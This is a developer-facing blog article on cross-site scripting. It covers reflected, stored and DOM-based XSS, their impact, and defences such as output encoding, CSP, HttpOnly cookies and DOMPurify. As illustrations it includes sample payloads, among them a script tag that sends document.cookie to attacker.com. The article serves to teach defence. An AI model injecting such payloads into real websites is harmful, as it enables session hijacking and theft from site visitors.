XSS (Cross-Site Scripting) — Types, Impact, and How to Prevent It for Developers

Have you ever logged in to a website, then suddenly something strange happened — either a strange popup appeared, your session was lost, or someone changed your profile without permission? If so, it could be that the website is being "bitten" by one of the most classic vulnerabilities in the world of the web: Cross-Site Scripting, or what we know better as XSS.

XSS is like SQL Injection which we discussed previously — both are on the OWASP Top 10 list, both are dangerous, but the way they work is very different. If SQL Injection attacks the database, XSS attacks the visitor's browser. And what's scary is that the victim is usually completely unaware.

What is XSS, Actually?

Imagine you have a notice board in the office. Anyone can write notes and stick them on the board. Now, imagine that a prankster wrote a note containing hidden instructions — for example, "If you read this note, send the entire contents of your wallet to this address." Other people who read the notice board unconsciously followed the instructions.

That's XSS in a simple analogy. XSS is a vulnerability in which an attacker injects JavaScript (or sometimes HTML) code into a web page viewed by other visitors. The victim's browser runs the code as if it were part of a legitimate website.

The key here: it's not the server that's running the code, it's the victim's browser. Browsers can't tell the difference between JavaScript that comes from a website and JavaScript injected by an attacker — as long as they both come from the same domain.

Types of XSS You Need to Know

XSS has three main variants, and each has different characteristics and mitigation methods.

1. Reflected XSS

This is the most common and easiest type of XSS to understand. Malicious code is sent to the server (usually via a URL parameter), and then the server "reflects" it back to the victim's browser without adequate sanitization.

Simple example:

https://example.com/search?q=<script>alert('XSS')</script>

If the website does not sanitize the q parameter, the browser will run the alert('XSS') script when the search results page is loaded. In a real-world scenario, an attacker could replace alert() with code that steals cookies, session tokens, or other sensitive data.

Reflected XSS requires the victim to click on a poisoned link. That's why it's often sent via email or message — "Click this link to see your search results!"

2. Stored XSS

This is the most dangerous. Malicious code is stored (stored) in the server database — it can be in the comments column, user profile, name, or any field that can be accessed by other visitors.

Imagine someone leaves a comment on your blog:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

Everyone who opens the article page will unknowingly send their cookies to the attacker's server. No need for a special link, no need for user action — just open the page, and you're done.

Stored XSS is like poison that has been mixed in food. Everyone who eats it will be poisoned, without needing to be instigated.

3. DOM-based XSS

This type occurs purely on the client side. The server is not involved at all — the malicious code is manipulated through DOM (Document Object Model) manipulation by JavaScript on the page.

For example, a website uses document.location or document.URL to retrieve parameters, then insert them into the page without sanitization:

const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Halo, ' + name;

If someone accesses a URL with name=<img src=x onerror=alert(1)>, the browser will execute alert(1) when trying to load an invalid image.

DOM-based XSS is difficult for server-side firewalls to detect because the attack occurs entirely in the browser.

The Impact of XSS: Why Is This Serious?

Many developers underestimate XSS on the grounds that "it's just an alert, it's not dangerous." Even though the impact can be very broad:

• Session Hijacking — Cookies and session tokens can be stolen, allowing an attacker to log in as a victim.
• Keylogging — An attacker can inject a script that logs the victim's every keystroke, including passwords.
• Defacement — The appearance of website pages can be changed to deceive visitors.
• Malware Distribution — Redirect victims to phishing pages or malware downloads.
• Crypto Mining — The victim's browser can be exploited to mine cryptocurrency without permission.

In the context of a website with many active users, a single stored XSS can infect thousands of victims in a matter of minutes.

How to Prevent XSS

The good news is, XSS can be prevented with a simple principle: never trust user input. The following are effective mitigation strategies:

1. Output Encoding

Every time you display data from a user into HTML, encode special characters. In PHP:

<?php
$user_input = $_GET['name'];
// Aman — karakter HTML di-encode
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
?>

In JavaScript, use textContent instead of innerHTML to display text:

// Berbahaya
element.innerHTML = userInput;

// Aman
element.textContent = userInput;

2. Content Security Policy (CSP)

CSP is an HTTP header that limits which resources the browser is allowed to run. With strict CSP, even if XSS is successfully injected, the browser will refuse to run scripts from unauthorized sources.

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

This header only allows scripts and styles from the domain itself. Script injection from other domains will be automatically blocked by the browser.

3. HTTPOnly Cookie

With the HttpOnly flag on a cookie, JavaScript cannot access the cookie — even if XSS is successful. This is a very effective last defense to prevent session hijacking.

<?php
setcookie('session_id', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);
?>

4. Input Sanitization

For content that needs to contain HTML (such as rich text comments), use a sanitization library such as DOMPurify in JavaScript or HTMLPurifier in PHP. This library will remove all malicious tags and attributes while maintaining safe content.

5. Server Side Validation

Don't rely solely on client-side validation — attackers can bypass all JavaScript validation with curl or other tools. Validation must be performed on the server before data is processed or stored.

XSS in the Context of Modern Development

Modern frameworks such as React, Vue, and Angular already have built-in XSS protection. React, for example, automatically performs output encoding when rendering JSX. But that's not an absolute guarantee — developers can still open loopholes by using dangerouslySetInnerHTML or v-html without sanitization.

The same goes for modern backends. Laravel has a Blade templating engine that automatically escapes output. But once again, features like {!! !!} (unescaped output) can be a way of entering XSS if used without caution.

Bottom line: frameworks help, but do not replace a developer's understanding of security.

XSS Testing Tools

To test whether your website is vulnerable to XSS, several tools can be used:

• Burp Suite — Intercept and modify requests, inject payloads into various parameters.
• OWASP ZAP — Automatic scanner that can detect various types of XSS.
• XSS Hunter — A platform that helps with blind XSS testing.
• Playwright / Puppeteer — Browser automation for manual XSS testing.

The simplest way: try injecting <script>alert(document.domain)</script> into every input field on your website. If an alert appears, you have an XSS vulnerability.

Conclusion

XSS is not just an "old problem" that has been solved by modern frameworks. Every year, hundreds of new XSS-related CVEs are discovered in popular software — WordPress plugins, CMS, JavaScript libraries, even browsers themselves. OWASP still includes XSS in the Top 10 due to its high prevalence and significant impact.

As a developer, understanding XSS isn't just about writing secure code — it's also about building habits. Always encode output, always validate input, always assume that users will try to attack your website. Because believe it or not, they will.

Have experience with XSS? Have you ever encountered this vulnerability on a production website? Tell your story in the comments column — who knows, your experience could be a lesson for other developers.